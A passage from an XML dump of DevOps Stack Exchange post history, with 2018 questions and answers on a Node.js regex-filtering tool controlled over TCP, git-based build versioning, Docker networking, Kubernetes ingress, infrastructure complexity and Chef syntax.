boolean&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    const server = net.createServer(s =&gt; {&#xD;&#xA;    &#xD;&#xA;      const sendMessage = (m: any) =&gt; {&#xD;&#xA;        s.write(JSON.stringify({message: m}) + `\n`);&#xD;&#xA;      };&#xD;&#xA;    &#xD;&#xA;      s.pipe(createParser()).on('data', (d: IncomingTCPMessage) =&gt; {&#xD;&#xA;        &#xD;&#xA;        if (!d.command) {&#xD;&#xA;          log.error('No &quot;command&quot; field was found:', d);&#xD;&#xA;          return ''&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        const c = d.command;&#xD;&#xA;    &#xD;&#xA;        if (c.list) {&#xD;&#xA;          sendMessage({regexes: Array.from(regex.keys()).map(k =&gt; ({regex: regex.get(k), str: k}))});&#xD;&#xA;          log.info('Listing all regex for the client.');&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if (c.removeall) {&#xD;&#xA;          regex.clear();&#xD;&#xA;          sendMessage(`Cleared all regex.`);&#xD;&#xA;          log.info('Cleared all regex.');&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if (c.add) {&#xD;&#xA;          regex.set(c.add, new RegExp(c.add));&#xD;&#xA;          sendMessage(`Added regex: ${c.add}.`);&#xD;&#xA;          log.info('Added regex:', c.add);&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if (c.remove) {&#xD;&#xA;          regex.delete(c.remove);&#xD;&#xA;          sendMessage(`Deleted regex: ${c.remove}.`);&#xD;&#xA;          log.info('Removed regex:', c.remove);&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        log.error('No matching field was found:', d);&#xD;&#xA;        log.info('Regex:', regex);&#xD;&#xA;    &#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    server.listen(port);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;to see the complete code, see:&#xD;&#xA;https://github.com/ORESoftware/dygrep&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15704" PostHistoryTypeId="2" PostId="4977" RevisionGUID="437ab564-22ba-4e88-9a1e-4d4cc585ec1b" CreationDate="2018-09-15T09:48:32.900" UserId="2979" Text="Consider to substitute the version in POM by the `git describe` upon build without hardcoding the version in your repository, you could do this with e.g. `sed` from below `version_slug`.&#xD;&#xA;&#xD;&#xA;    export git_version=`git describe --tags --always`&#xD;&#xA;    export version_slug=&quot;$(sed s/-/\./g &lt;&lt;&lt;$git_version)&quot;&#xD;&#xA;&#xD;&#xA;and then substitute the version_slug in pom.&#xD;&#xA;&#xD;&#xA;In that way for each commit and/or tag in gitlab, you'll create a new version, with out actually changing the repository. &#xD;&#xA;&#xD;&#xA;this is what i did for a ruby project: [jekyll-plantuml-url](https://gitlab.com/dgoo2308/jekyll-plantuml-url/blob/master/.gitlab-ci.yml), where the version is not coded in the source, but is set upon build, and after testing deployed as the git tag.&#xD;&#xA;&#xD;&#xA;      script:&#xD;&#xA;       - bundle install&#xD;&#xA;       - rake set_git_tag&#xD;&#xA;       - rake&#xD;&#xA;       - gem build jekyll-plantuml-url.gemspec&#xD;&#xA;&#xD;&#xA;Furthermore don't understand the need of all those branches, with CI/CD we continuously build, test and deploy, that means before accepting a merge to master you have a deployment for QA to do the testing, code review, functional testing ...etc.&#xD;&#xA;&#xD;&#xA;Next add QA as approver for a merge to master, thus make it mandatory that QA signs of a merge request to master and integrate quality in the development cycle or have a master that is always ready for release.&#xD;&#xA;&#xD;&#xA;One could opt to work from master and for release then tag master with a version tag, as per above example,&#xD;&#xA;&#xD;&#xA;OR like gitlab does it, to create a branch for each release, cherry pick the features from master that are ready or planned and then tag the branch with a version tag.&#xD;&#xA;&#xD;&#xA;where as a version tag creates a deployment for a commit, release or a RC.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15705" PostHistoryTypeId="2" PostId="4978" RevisionGUID="2190e5dc-fdf4-45fd-9eb3-17fc09327528" CreationDate="2018-09-15T10:05:06.187" UserId="2979" Text="a word document is not a source document that is fit for version control, it's a proprietary binary file.&#xD;&#xA;&#xD;&#xA;For version control, try to learn a real source document like e.g. Markdown or AsciiDoc.&#xD;&#xA;&#xD;&#xA;In this way you'll be able to preview in gitlab or github, even with windowns, &#xD;&#xA;&#xD;&#xA;While still been able to publish it after rendering it with e.g. pandoc to a .docx or pdf, html, RTF, ODT, EPUB or all of them with an optional version tag." ContentLicense="CC BY-SA 4.0" />
  <row Id="15706" PostHistoryTypeId="50" PostId="4748" RevisionGUID="dfbca0b0-6648-47b8-97fa-8843efab1180" CreationDate="2018-09-15T17:00:34.800" UserId="-1" />
  <row Id="15707" PostHistoryTypeId="5" PostId="4978" RevisionGUID="6d4f60ac-feb2-4b60-ab65-5962663ee97d" CreationDate="2018-09-15T17:37:13.433" UserId="6619" Comment="cleaned up typos" Text="A word document is not a source document that is fit for version control, it's a proprietary binary file.&#xD;&#xA;&#xD;&#xA;For version control, try to learn a real source document like e.g. Markdown or AsciiDoc. In this way you'll be able to preview in Gitlab or Github, even with Windows.&#xD;&#xA;&#xD;&#xA;While still being able to publish it after rendering it with e.g. Pandoc to a .docx or .pdf, .html, RTF, ODT, EPUB or all of them with an optional version tag." ContentLicense="CC BY-SA 4.0" />
  <row Id="15708" PostHistoryTypeId="24" PostId="4978" RevisionGUID="6d4f60ac-feb2-4b60-ab65-5962663ee97d" CreationDate="2018-09-15T17:37:13.433" Comment="Proposed by 6619 approved by 2979 edit id of 785" ContentLicense="CC BY-SA 4.0" />
  <row Id="15709" PostHistoryTypeId="5" PostId="4976" RevisionGUID="d310fb8f-b0bf-41a5-9a8f-cac81521fa9c" CreationDate="2018-09-15T22:44:30.643" UserId="7837" Comment="deleted 1 character in body" Text="I implemented this in node.js - I don't know of a unix utility that can dynamically change grep. Here is how it works:&#xD;&#xA;&#xD;&#xA;*before dygrep:*&#xD;&#xA;&#xD;&#xA;    many-child-procs &gt; logfile.log                  # in terminal 1&#xD;&#xA;    tail -f logfile.log | grep &lt;expression&gt;          # in terminal 2&#xD;&#xA;&#xD;&#xA;*after dygrep:*&#xD;&#xA;&#xD;&#xA;    many-child-procs | dygrep                    # in terminal 1&#xD;&#xA;&#xD;&#xA;then you connect to dygrep with a tcp-client and control which expressions are filtered on.&#xD;&#xA;&#xD;&#xA;The following node.js process reads from stdin, and uses a tcp connection to listen for expressions to filter on. For each line of stdin, it only forwards that to stdout if it matches one of the current regular expressions stored in memory.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env node&#xD;&#xA;    'use strict';&#xD;&#xA;    &#xD;&#xA;    import * as readline from 'readline';&#xD;&#xA;    import * as net from 'net';&#xD;&#xA;    import chalk from 'chalk';&#xD;&#xA;    import {createParser} from &quot;./json-parser&quot;;&#xD;&#xA;    import log from './logger';&#xD;&#xA;    &#xD;&#xA;    let port = 4900;&#xD;&#xA;    &#xD;&#xA;       &#xD;&#xA;    const rl = readline.createInterface({&#xD;&#xA;      input: process.stdin.resume()&#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    const regex = new Map&lt;string, RegExp&gt;();&#xD;&#xA;    &#xD;&#xA;    rl.on('line', l =&gt; {&#xD;&#xA;    &#xD;&#xA;      if (regex.size &lt; 1) {&#xD;&#xA;        process.stdout.write(l + '\n');&#xD;&#xA;        return;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      for (let [k, v] of regex) {&#xD;&#xA;        if (v.test(l)) {&#xD;&#xA;          process.stdout.write(chalk.magenta(' (filtered) ') + l + '\n');&#xD;&#xA;          break;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    interface IncomingTCPMessage {&#xD;&#xA;      command: {&#xD;&#xA;        add: string,&#xD;&#xA;        remove: string,&#xD;&#xA;        list: boolean,&#xD;&#xA;        removeall: boolean&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    const server = net.createServer(s =&gt; {&#xD;&#xA;    &#xD;&#xA;      const sendMessage = (m: any) =&gt; {&#xD;&#xA;        s.write(JSON.stringify({message: m}) + `\n`);&#xD;&#xA;      };&#xD;&#xA;    &#xD;&#xA;      s.pipe(createParser()).on('data', (d: IncomingTCPMessage) =&gt; {&#xD;&#xA;        &#xD;&#xA;        if (!d.command) {&#xD;&#xA;          log.error('No &quot;command&quot; field was found:', d);&#xD;&#xA;          return ''&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        const c = d.command;&#xD;&#xA;    &#xD;&#xA;        if (c.list) {&#xD;&#xA;          sendMessage({regexes: Array.from(regex.keys()).map(k =&gt; ({regex: regex.get(k), str: k}))});&#xD;&#xA;          log.info('Listing all regex for the client.');&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if (c.removeall) {&#xD;&#xA;          regex.clear();&#xD;&#xA;          sendMessage(`Cleared all regex.`);&#xD;&#xA;          log.info('Cleared all regex.');&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if (c.add) {&#xD;&#xA;          regex.set(c.add, new RegExp(c.add));&#xD;&#xA;          sendMessage(`Added regex: ${c.add}.`);&#xD;&#xA;          log.info('Added regex:', c.add);&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if (c.remove) {&#xD;&#xA;          regex.delete(c.remove);&#xD;&#xA;          sendMessage(`Deleted regex: ${c.remove}.`);&#xD;&#xA;          log.info('Removed regex:', c.remove);&#xD;&#xA;          return;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        log.error('No matching field was found:', d);&#xD;&#xA;        log.info('Regex:', regex);&#xD;&#xA;    &#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    server.listen(port);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;to see the complete code, see:&#xD;&#xA;https://github.com/ORESoftware/dygrep&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15711" PostHistoryTypeId="50" PostId="1832" RevisionGUID="11cacf85-6c68-4df7-a40a-c2c2077946e1" CreationDate="2018-09-16T04:00:14.083" UserId="-1" />
  <row Id="15714" PostHistoryTypeId="50" PostId="4312" RevisionGUID="28bf4773-6316-4fef-b54c-f2fa16b49652" CreationDate="2018-09-16T05:00:42.647" UserId="-1" />
  <row Id="15715" PostHistoryTypeId="5" PostId="4522" RevisionGUID="08a91e9c-6f00-4448-ba32-d265c99e175c" CreationDate="2018-09-16T05:34:22.313" UserId="739" Comment="code formatting for file names and variables within" Text="Internal docker networks mean there is no gateway configured to reach the outside internet, you can only reach other containers from that network. In your scenario, none of your networks should have this definition.&#xD;&#xA;&#xD;&#xA;Without setting the internal network flag, containers can reach out of the docker host, potentially to the internet if the host has that access. This is one-way access, containers can access the external network, but that external network cannot access the containers.&#xD;&#xA;&#xD;&#xA;To access a container from outside of the docker host, you need to publish the port on the host mapping into the desired container (or service). Publishing ports with the `ports` section in the `docker-compose.yml` file is only needed to provide external access, not access between containers. Applications inside containers need to listen on all interfaces (0.0.0.0) for both publishing ports on the host and for container to container communication. However, you can publish ports on a specific interface on the host, e.g.:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - '127.0.0.1:8825:8825'&#xD;&#xA;      - '127.0.0.1:8835:8835'&#xD;&#xA;&#xD;&#xA;For container to container communication, it is not necessary to expose or publish the port. All that is needed is a user defined network (which you have) in common between the containers. Then the containers can communicate using docker's built-in DNS to resolve the service name (e.g. consul and mongo) and the application port inside that container (e.g. consul:8300). To avoid the external network from accessing these containers, do not publish any ports from them.&#xD;&#xA;&#xD;&#xA;Side note: from your `docker-compose.yml`, you should also consider removing `container_name`, `depends_on`, and `build` since they won't work if you try to transition to swarm mode. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15716" PostHistoryTypeId="24" PostId="4522" RevisionGUID="08a91e9c-6f00-4448-ba32-d265c99e175c" CreationDate="2018-09-16T05:34:22.313" Comment="Proposed by 739 approved by -1 edit id of 786" ContentLicense="CC BY-SA 4.0" />
  <row Id="15717" PostHistoryTypeId="5" PostId="4522" RevisionGUID="31eda1bf-578e-4ab5-a43a-774095431d0f" CreationDate="2018-09-16T05:34:22.313" UserId="40" Comment="edited body" Text="Internal Docker networks mean there is no gateway configured to reach the outside internet, you can only reach other containers from that network. In your scenario, none of your networks should have this definition.&#xD;&#xA;&#xD;&#xA;Without setting the internal network flag, containers can reach out of the docker host, potentially to the internet if the host has that access. This is one-way access, containers can access the external network, but that external network cannot access the containers.&#xD;&#xA;&#xD;&#xA;To access a container from outside of the Docker host, you need to publish the port on the host mapping into the desired container (or service). Publishing ports with the `ports` section in the `docker-compose.yml` file is only needed to provide external access, not access between containers. Applications inside containers need to listen on all interfaces (0.0.0.0) for both publishing ports on the host and for container to container communication. However, you can publish ports on a specific interface on the host, e.g.:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - '127.0.0.1:8825:8825'&#xD;&#xA;      - '127.0.0.1:8835:8835'&#xD;&#xA;&#xD;&#xA;For container to container communication, it is not necessary to expose or publish the port. All that is needed is a user defined network (which you have) in common between the containers. Then the containers can communicate using Docker's built-in DNS to resolve the service name (e.g. consul and mongo) and the application port inside that container (e.g. consul:8300). To avoid the external network from accessing these containers, do not publish any ports from them.&#xD;&#xA;&#xD;&#xA;Side note: from your `docker-compose.yml`, you should also consider removing `container_name`, `depends_on`, and `build` since they won't work if you try to transition to swarm mode. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15718" PostHistoryTypeId="50" PostId="3552" RevisionGUID="f28573ad-ddb3-4ce4-a761-c18e7ff297e9" CreationDate="2018-09-16T06:00:42.923" UserId="-1" />
  <row Id="15720" PostHistoryTypeId="50" PostId="3661" RevisionGUID="d95330b9-f669-4f27-97c3-00b29c2db561" CreationDate="2018-09-16T07:00:25.320" UserId="-1" />
  <row Id="15721" PostHistoryTypeId="2" PostId="4979" RevisionGUID="f358dbd3-ede5-488d-a1f0-e08766ea996e" CreationDate="2018-09-16T07:08:00.327" UserId="9804" Text="We currently have at our company a Kubernetes cluster with an ingress controller that manages the traffic of the services and their endpoints.&#xD;&#xA;&#xD;&#xA;We want to change our URL gradually, first add the new URL to point to the same services that are currently being used by the old URL, and once we see that everything works fine, we'll just make the old URL redirect to the new one.&#xD;&#xA;&#xD;&#xA;That's the plan in a gist, however, I have no idea where to start. Do I add another ingress controller that is just copied from the one we currently have and update the SSL certificate to match the new URL?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="15722" PostHistoryTypeId="1" PostId="4979" RevisionGUID="f358dbd3-ede5-488d-a1f0-e08766ea996e" CreationDate="2018-09-16T07:08:00.327" UserId="9804" Text="Multiple Ingress controllers in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="15723" PostHistoryTypeId="3" PostId="4979" RevisionGUID="f358dbd3-ede5-488d-a1f0-e08766ea996e" CreationDate="2018-09-16T07:08:00.327" UserId="9804" Text="&lt;kubernetes&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15724" PostHistoryTypeId="2" PostId="4980" RevisionGUID="4f19baa4-f9b4-4349-aa50-41640789dd3e" CreationDate="2018-09-16T07:13:16.087" UserId="7772" Text="How can I compare infrastructures regarding size and complixity. What can I measure and compare e.g. number of nodes, number of servers etc. &#xD;&#xA;&#xD;&#xA;What are some measurements and variables that make sense to compare so that it is measurable that &quot;This infrastructure is very large&quot; or &quot;This infrastructure is very complex&quot;. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15725" PostHistoryTypeId="1" PostId="4980" RevisionGUID="4f19baa4-f9b4-4349-aa50-41640789dd3e" CreationDate="2018-09-16T07:13:16.087" UserId="7772" Text="What is a measurement of size or complexity of IT infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="15726" PostHistoryTypeId="3" PostId="4980" RevisionGUID="4f19baa4-f9b4-4349-aa50-41640789dd3e" CreationDate="2018-09-16T07:13:16.087" UserId="7772" Text="&lt;infrastructure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15727" PostHistoryTypeId="5" PostId="4980" RevisionGUID="2c55750b-8c6f-48ee-b429-8eac0f807b1e" CreationDate="2018-09-16T08:20:45.473" UserId="228" Comment="Edited the question for language and clarity" Text="How can I compare different infrastructure in regards to size and complexity. What can I measure and compare e.g. number of nodes, number of servers, architectures etc. &#xD;&#xA;&#xD;&#xA;How do those measures and variables differ in what they compare? Which of them make sense to compare and what is the cardinality at which there is actual difference in the kind of work done, rather than just a bit of extra work.  &#xD;&#xA;&#xD;&#xA;What will let me decide that &quot;*This infrastructure is very large*&quot; or &quot;*This infrastructure is very complex*&quot; and what is the difference? " ContentLicense="CC BY-SA 4.0" />
  <row Id="15728" PostHistoryTypeId="4" PostId="4980" RevisionGUID="2c55750b-8c6f-48ee-b429-8eac0f807b1e" CreationDate="2018-09-16T08:20:45.473" UserId="228" Comment="Edited the question for language and clarity" Text="What are the measures of size and complexity of IT infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="15729" PostHistoryTypeId="6" PostId="4980" RevisionGUID="2c55750b-8c6f-48ee-b429-8eac0f807b1e" CreationDate="2018-09-16T08:20:45.473" UserId="228" Comment="Edited the question for language and clarity" Text="&lt;infrastructure&gt;&lt;complexity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15730" PostHistoryTypeId="2" PostId="4981" RevisionGUID="df9ca78d-a5f9-400e-9c28-1dc8091ae70f" CreationDate="2018-09-16T11:34:58.063" UserId="228" Text="&gt; **TL;DR:** Measures of **size** can be split roughly in three different categories that I would define as **depth** in what you&#xD;&#xA;&gt; manage vs. what you outsource or consume as a service, **breadth** of&#xD;&#xA;&gt; services supported and **height** in numbers of instances,servers and&#xD;&#xA;&gt; customers. Measures of **complexity** largely depend on selected&#xD;&#xA;&gt; **systems architecture**, **organizational structure** of people supporting it and **skill sets** required. Where depth and skill sets&#xD;&#xA;&gt; go hand in hand adding both to size and complexity.&#xD;&#xA;&#xD;&#xA;# Size mesures #&#xD;&#xA;&#xD;&#xA;Note: *Most of the following size requirements can also add to complexity through systems architecture, skill sets and organization structure needs.*&#xD;&#xA;&#xD;&#xA;## Depth of Infrastructure ##&#xD;&#xA;&#xD;&#xA;How much of the infrastructure you are outsourcing to others in increased levels of depth:&#xD;&#xA;&#xD;&#xA; 1. Do you simple use Software as a Service for all that you do?&#xD;&#xA; 2. Do you operate fully in public cloud, private or hybrid cloud or&#xD;&#xA;    using some PaaS?&#xD;&#xA; 3. Do you use Infrastructure as a Service?&#xD;&#xA; 4. Do you use Hosted and Managed Infrastructure in rented DC space?&#xD;&#xA;   - Do you own or rent the hardware?&#xD;&#xA;   - Does the provider manage infrastructure monitoring?&#xD;&#xA;   - Does the provider manage basic system administration?&#xD;&#xA;   - Does the provider manage hardware failures and maintenance?&#xD;&#xA;   - Does the provider manage racking and server installation?&#xD;&#xA;   - Does the provider manage internal networking?&#xD;&#xA;   - Does the provider manage internet connectivity and routing?&#xD;&#xA; 5. Do you have just data centers with contracted remote hands?&#xD;&#xA; 6. Do you host everything on premises or in your own datacenters?&#xD;&#xA;&#xD;&#xA;## Breadth of Infrastructure ##&#xD;&#xA;&#xD;&#xA;What are the different types of services you support?&#xD;&#xA;&#xD;&#xA; - Compute Resources&#xD;&#xA;   - Bare metal servers&#xD;&#xA;   - Virtualization layer (VMWare)&#xD;&#xA;   - Container layer (docker, k8, mesos)&#xD;&#xA;   - Serverless layer (lambda, functions)&#xD;&#xA; - Storage Resources&#xD;&#xA;   - Standalone storage appliances&#xD;&#xA;   - RAID in servers&#xD;&#xA;   - Large standalone relational database clusters&#xD;&#xA;   - Time series databases&#xD;&#xA;   - Object store clusters&#xD;&#xA; - Network Resources&#xD;&#xA; - Observability Resources&#xD;&#xA;   - System Log servers&#xD;&#xA;   - Metrics and Graph systems&#xD;&#xA;   - Search clusters&#xD;&#xA; - Automation Resources&#xD;&#xA; - Backup/Recovery Resources&#xD;&#xA; - Complex compounded services&#xD;&#xA;   - ELK, Hadoop, etc.&#xD;&#xA;&#xD;&#xA;## Height of Infrastructure ##&#xD;&#xA;&#xD;&#xA; - What is the scale for each resources that you need? Do you operate the services on single server/instance or do you need use clusters of machines?&#xD;&#xA; - What is the level of redundancy you need?&#xD;&#xA; - What are your availability requirements?&#xD;&#xA; - What are your requirements for latency and throughput of services?&#xD;&#xA; - Do you need geographically distributed infrastructure? (international business, latency requirements or regulation compliance like GDPR, data localization laws, etc)&#xD;&#xA; - Do you need multiple datacenters in each geography?&#xD;&#xA;&#xD;&#xA;# Complexity Measures #&#xD;&#xA;&#xD;&#xA;Just very briefly...&#xD;&#xA;&#xD;&#xA;## System Architecture ##&#xD;&#xA;&#xD;&#xA;When it comes to Infrastructure complexity, it quite closely follows the complexity of the distributed systems supported by the infrastructure. You have to take into account two types of systems:&#xD;&#xA;&#xD;&#xA; 1. Distributed systems supporting individual services.&#xD;&#xA; 2. Distributed system created by interdependencies of the services.&#xD;&#xA;&#xD;&#xA;### Distributed Systems Complexity ###&#xD;&#xA;&#xD;&#xA;Every service your infrastructure supports can have in and of itself a different level of complexity with varying levels of requirements on the infrastructure. Systems supporting services can range through:&#xD;&#xA;&#xD;&#xA; - Single threaded.&#xD;&#xA; - Multi-threaded (shared memory, shared disk)&#xD;&#xA; - Parallel systems with data sharding&#xD;&#xA; - HA Failover (Primary / Standby) (Cold, Warm, Hot)&#xD;&#xA; - HA Cluster (N+M)&#xD;&#xA; - Real-time Clusters&#xD;&#xA;&#xD;&#xA;### Interdependence of Services ###&#xD;&#xA;&#xD;&#xA;Let me start with an example. Let's say your infrastructure reports test results into ElasticSearch cluster. Your pager depends on monitoring and test data provided by ElasticSearch. Geographical distribution of ElasticSearch cluster makes it depend on your datacenter networking connectivity. Now one of your internet providers decided to make an unannounced maintenance on Saturday night, throughput drops, your traffic is rerouted to backup provider, monitoring traffic is de-prioritized to customer data traffic, ingest of monitoring events slows and your pager goes crazy.   &#xD;&#xA;&#xD;&#xA;Every time two services, two parts of the infrastructure depend on each other, they create a new single distributed system, whose complexity should be judged independently. Such dependency can be either removed or reduced. Remember that system is only as redundant and as available as the intersection of all services that it depends on.&#xD;&#xA;&#xD;&#xA;Further examples of complexity increasing factors:&#xD;&#xA;&#xD;&#xA;  - Dependencies on external services.&#xD;&#xA;  - Attempts to mitigate failure from service dependency.&#xD;&#xA;    - Multiple providers&#xD;&#xA;    - Caching of data&#xD;&#xA;&#xD;&#xA;## Organizational structure ##&#xD;&#xA;&#xD;&#xA;This is a chapter in and of itself ... people are often overlooked part of the overall system of IT infrastructure. We rarely think about redundancy, availability and latency factors when it comes to people, but just as with computers, these same issues affect organizations maintaining infrastructure and the complexity of it can sometimes easily outweigh the complexity of the computer systems. People involved in maintaining your infrastructure can span multiple time zones, languages, geographic locations, companies, pay scales and legal codes. Any of those factors are signs of increase in complexity." ContentLicense="CC BY-SA 4.0" />
  <row Id="15731" PostHistoryTypeId="2" PostId="4982" RevisionGUID="5664a1a6-0343-4d48-bd5c-b107f6b7f1cc" CreationDate="2018-09-16T13:26:16.157" UserId="2956" Text="How it should look like:&#xD;&#xA;&#xD;&#xA; 1. Commit changes in some microservice and push it to VCS origin repo&#xD;&#xA; 2. CI system sees new commit&#xD;&#xA; 3. CI starts build and tests&#xD;&#xA; 4. If everything's good, it pushes image to docker registry with tags&#xD;&#xA;&#xD;&#xA;So, the answer is: CI should know, what service has changes." ContentLicense="CC BY-SA 4.0" />
  <row Id="15732" PostHistoryTypeId="2" PostId="4983" RevisionGUID="98b93202-e71c-414a-8b1e-c17416426e75" CreationDate="2018-09-16T13:44:45.870" UserId="4540" Text="It is possible to achieve this using `async` mode. Please find some references for how to do this below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Refs:&#xD;&#xA;&#xD;&#xA;* http://toroid.org/ansible-parallel-dispatch&#xD;&#xA;* https://blog.crisp.se/2018/01/27/maxwenzin/how-to-run-ansible-tasks-in-parallel" ContentLicense="CC BY-SA 4.0" />
  <row Id="15733" PostHistoryTypeId="5" PostId="4968" RevisionGUID="b54536d4-b86f-4445-ac65-971478bbafd7" CreationDate="2018-09-16T17:55:31.467" UserId="9772" Comment="added 20 characters in body" Text="I am starting to use Continuous Integration on my microservices solution (monorepo approach), and I am referencing this [post][1] for versioning approach. &#xD;&#xA;&#xD;&#xA;But, let's say I make some change in one of the microservice and commit that change, but all the others are exactly the same. How the process would know that those microservices (docker images) weren't changed so don't need to increase the build number? I feel like I would end-up with many docker images with different build numbers but same content.&#xD;&#xA;&#xD;&#xA;Am I misunderstanding the concept? Sorry, this whole microservices and docker thing are pretty new to me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/3342/9772" ContentLicense="CC BY-SA 4.0" />
  <row Id="15735" PostHistoryTypeId="50" PostId="3916" RevisionGUID="b6b4e1e6-c79f-410d-b275-65084d79a41e" CreationDate="2018-09-16T21:00:35.953" UserId="-1" />
  <row Id="15736" PostHistoryTypeId="50" PostId="4176" RevisionGUID="7057008c-cfdc-4389-bcd1-97c3b742f39d" CreationDate="2018-09-16T22:00:41.937" UserId="-1" />
  <row Id="15737" PostHistoryTypeId="2" PostId="4985" RevisionGUID="877679a2-4fcd-4488-9fac-c77646061da7" CreationDate="2018-09-17T04:07:11.553" UserId="2979" Text="Use GitLAB, you can set in project-settings to only allow a merge when the pipeline succeed, so can have a truly Continuous Integration, combine that with adding your QA to the list of merge approvals and with Dynamic Environments, you can have quality assurance before you merge to the master." ContentLicense="CC BY-SA 4.0" />
  <row Id="15738" PostHistoryTypeId="50" PostId="1821" RevisionGUID="b0a47317-b9cb-4c2e-ba31-04bb6e0696e4" CreationDate="2018-09-17T06:01:13.737" UserId="-1" />
  <row Id="15739" PostHistoryTypeId="2" PostId="4986" RevisionGUID="4026e14b-0eaa-46fb-a54d-9b9cbc761bab" CreationDate="2018-09-17T06:25:14.653" UserId="9560" Text="While reviewing a chef.io [whitepaper][1], I encountered the following syntax: &#xD;&#xA;&#xD;&#xA;    # Load your AWS credentials databag&#xD;&#xA;    include_recipe ‘aws’&#xD;&#xA;    aws = data_bag_item(‘aws’, ‘main’)&#xD;&#xA;    aws_elastic_lb ‘elb_qa’ do&#xD;&#xA;      aws_access_key aws[‘aws_access_key_id’]&#xD;&#xA;      aws_secret_access_key aws[‘aws_secret_access_key’]&#xD;&#xA;      name ‘elb_qa’&#xD;&#xA;      action :register&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Can you explain or refer to documentation about the &quot;do&quot; statement? &#xD;&#xA;&#xD;&#xA;The common example for the Ruby &quot;do&quot; statement is using &quot;each&quot;, which cannot be found in the example above. What does the syntax mean? what here is a parameter, variable, assignment, function, etc.. ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pages.chef.io/rs/255-VFB-268/images/DevOps_AWS_Chef_Whitepaper_2017.pdf" ContentLicense="CC BY-SA 4.0" />
  <row Id="15740" PostHistoryTypeId="1" PostId="4986" RevisionGUID="4026e14b-0eaa-46fb-a54d-9b9cbc761bab" CreationDate="2018-09-17T06:25:14.653" UserId="9560" Text="Chef syntax with &quot;do&quot; statement" ContentLicense="CC BY-SA 4.0" />
  <row Id="15741" PostHistoryTypeId="3" PostId="4986" RevisionGUID="4026e14b-0eaa-46fb-a54d-9b9cbc761bab" CreationDate="2018-09-17T06:25:14.653" UserId="9560" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15742" PostHistoryTypeId="33" PostId="4963" RevisionGUID="0d790ea5-6c23-4d59-980d-42898278aad1" CreationDate="2018-09-17T06:30:23.100" UserId="5605" Comment="25" />
  <row Id="15743" PostHistoryTypeId="5" PostId="4977" RevisionGUID="7e0e6da6-27ba-4035-aade-789d8cfdd25c" CreationDate="2018-09-17T07:24:51.213" UserId="2979" Comment="refrasing" Text="Consider to substitute the version in POM by the `git describe` upon build without hardcoding the version in your repository, you could do this with e.g. `sed` from below `version_slug`.&#xD;&#xA;&#xD;&#xA;    export git_version=`git describe --tags --always`&#xD;&#xA;    export version_slug=&quot;$(sed s/-/\./g &lt;&lt;&lt;$git_version)&quot;&#xD;&#xA;&#xD;&#xA;and then substitute the version_slug in pom.&#xD;&#xA;&#xD;&#xA;In that way for each commit and/or tag in gitlab, you'll create a new version, with out actually changing the repository. &#xD;&#xA;&#xD;&#xA;this is what i did for a ruby project: [jekyll-plantuml-url](https://gitlab.com/dgoo2308/jekyll-plantuml-url/blob/master/.gitlab-ci.yml), where the version is not coded in the source, but is set upon build, and after testing deployed as the git tag.&#xD;&#xA;&#xD;&#xA;      script:&#xD;&#xA;       - bundle install&#xD;&#xA;       - rake set_git_tag&#xD;&#xA;       - rake&#xD;&#xA;       - gem build jekyll-plantuml-url.gemspec&#xD;&#xA;&#xD;&#xA;Furthermore don't understand the need of all those branches, with CI/CD we continuously build, test and deploy, that means before accepting a merge to master you have a deployment for QA to do the testing, code review, functional testing ...etc.&#xD;&#xA;&#xD;&#xA;Next add QA as approver for a merge to master, thus make it mandatory that QA signs of a merge request to master and integrate quality in the development cycle or have a master that is always ready for release.&#xD;&#xA;&#xD;&#xA;One could opt to work from master and for a release tag the master branch with a version tag, as per above example.&#xD;&#xA;&#xD;&#xA;OR &#xD;&#xA;&#xD;&#xA;like gitlab does it, to create a 